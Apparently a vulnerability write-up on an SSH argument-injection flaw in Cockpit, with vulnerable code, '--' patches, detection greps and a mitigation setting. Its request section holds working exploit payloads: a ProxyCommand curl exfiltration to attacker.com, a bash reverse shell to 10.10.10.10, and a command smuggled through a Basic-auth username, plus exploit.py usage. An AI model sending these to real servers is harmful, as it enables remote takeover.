python3 -m cockpit.beiboot

ssh [options] <hostname> <remote-command>

ssh [options] -- <hostname> <remote-command>

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  脆弱: ホストの前に'--'がない
        # host = "-oProxyCommand=evil"の場合、sshはそれをオプションとして扱う
        destination = ['-p', port, host]

    else:
        #  脆弱: 攻撃者の生の入力が直接sshに渡される
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpitオプション
arg2: -oProxyCommand=curl http://...   ←  SSHオプションとして解析される（ホストではない）
arg3: python3 -ic '# cockpit-bridge'   ← "ホスト名"になる → ProxyCommandをトリガー

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  修正済み: '--'により以降のすべてが位置引数として強制される
        destination = ['-p', port, '--', host]

    else:
        #  修正済み: '--'セパレータが追加された
        destination = ['--', dest]

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // URLパスから"cockpit+="以降のすべてを抽出
    //  文字検証なし — ダッシュ、特殊文字が許可される
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

// cockpit_ws_ssh_programは起動コマンドのテンプレート
//  脆弱: ホスト名がサニタイズなしで追加される
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        末尾の'--'がないため、ホスト名がフラグとして
//                        Pythonのargparse（CPython #66623）に解析される可能性がある

//  修正済み: 末尾の'--'によりホスト名が常に位置引数になる
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Authorization: Basic base64(user:password)をデコード
        //  'user'の検証なし — セミコロン、特殊文字が許可される
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user'は資格情報に渡され、最終的に'ssh -l <user>'に渡される
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  サニタイズされていない
                              ...);
}

async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIREは一般的に利用できないため、setsidを使用
    process = await asyncio.create_subprocess_exec(
        #  脆弱: ハードコードされたパス + 宛先の前に'--'がない
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

    process = await asyncio.create_subprocess_exec(
        #  修正済み: ハードコードされたパスの代わりにPATH検索 + '--'が追加された
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

#!/usr/bin/env python3

import os, sys

# 環境からホストを抽出
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  脆弱: 同じ根本原因 — ホストがサニタイズされずにbeibootに渡される
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

# 疑わしい引数を持つbeibootの起動を確認
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# cockpit-wsユーザーからのSSH呼び出しを確認
journalctl _COMM=ssh | grep -v "^--$"

# インストールされているバージョンが脆弱かどうかを確認
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# バージョンが327から359の間（両端を含む）の場合、脆弱

rpm -q cockpit-ws
# 同じバージョン確認が適用されます

python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

[WebService]
LoginTo = false